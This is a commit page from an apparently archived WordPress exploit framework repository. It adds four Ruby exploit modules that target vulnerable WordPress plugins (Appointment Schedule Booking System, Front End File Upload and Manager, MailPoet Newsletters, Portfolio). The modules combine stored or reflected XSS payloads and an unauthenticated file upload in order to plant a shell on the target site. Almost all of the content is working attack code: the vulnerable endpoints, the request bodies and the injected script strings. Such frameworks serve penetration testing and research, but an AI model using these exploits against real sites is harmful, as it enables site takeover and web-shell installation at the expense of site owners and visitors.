Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit e113642

Browse files
committed
Merged development into master
2 parents 8577a72 + 3abc1e6 commit e113642

4 files changed

+147
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AppointmentScheduleBookingSystemStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Appointment Schedule Booking System Unauthenticated Stored XSS Shell Upload',
9+
author: [
10+
'White Fir Design', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8634'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/10/03/persistent-cross-site-scripting-xss-vulnerability-in-wordpress-appointment-schedule-booking-system/']
16+
],
17+
date: 'Oct 04 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-appointment-schedule-booking-system', '1.1')
23+
end
24+
25+
def vulnerable_page
26+
'the page containing the appointment schedule'
27+
end
28+
29+
def store_script
30+
execute_post_request(
31+
url: wordpress_url_admin_ajax,
32+
body: {
33+
'action' => 'appointgen_save_cssfixfront',
34+
'cssfix' => 'front',
35+
'css' => "</style></style><script>#{xss_include_script}</script><style>"
36+
}
37+
)
38+
end
39+
end
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::FrontEndFileUploadAndManagerShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Front End File Upload and Manager Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8632'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('nmedia-user-file-uploader', '4.0')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'nm_filemanager_upload_file')
32+
builder.add_field('name', payload_name.downcase)
33+
builder.add_file_from_string('file', payload.encoded, payload_name.downcase)
34+
builder
35+
end
36+
37+
def uploaded_payload_location
38+
normalize_uri(wordpress_url_uploads, 'user_uploads', payload_name.downcase)
39+
end
40+
end
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
require 'base64'
2+
3+
class Wpxf::Exploit::MailpoetNewslettersV272ReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'MailPoet Newsletters <= 2.7.2 Reflected XSS Shell Upload',
11+
author: [
12+
'Sipke Mellema,', # Discovery and disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8617'],
17+
['URL', 'https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_vulnerability_in_mailpoet_newsletters_plugin.html']
18+
],
19+
date: 'Sep 10 2016'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('wysija-newsletters', '2.7.3')
25+
end
26+
27+
def base64_encoded_payload
28+
Base64.urlsafe_encode64({ form: Utility::Text.rand_alpha(3), after_widget: "<script>#{xss_ascii_encoded_include_script}</script>" }.to_json)
29+
end
30+
31+
def url_with_xss
32+
"#{full_uri}?wysija-page=1&controller=subscribers&action=wysija_outter&encodedForm=#{base64_encoded_payload}"
33+
end
34+
end
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
class Wpxf::Exploit::PortfolioReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Portfolio <= 2.1.10 Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8637'],
14+
['URL', 'https://www.rastating.com/portfolio-2-1-10-reflected-xss/']
15+
],
16+
date: 'Aug 30 2016'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('portfolio-gallery', '2.1.11')
22+
end
23+
24+
def vulnerable_url
25+
normalize_uri(wordpress_url_admin, 'admin.php?page=portfolios_huge_it_portfolio')
26+
end
27+
28+
def initial_script
29+
create_basic_post_script(
30+
vulnerable_url,
31+
page_number: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
32+
)
33+
end
34+
end

0 commit comments

Comments
 (0)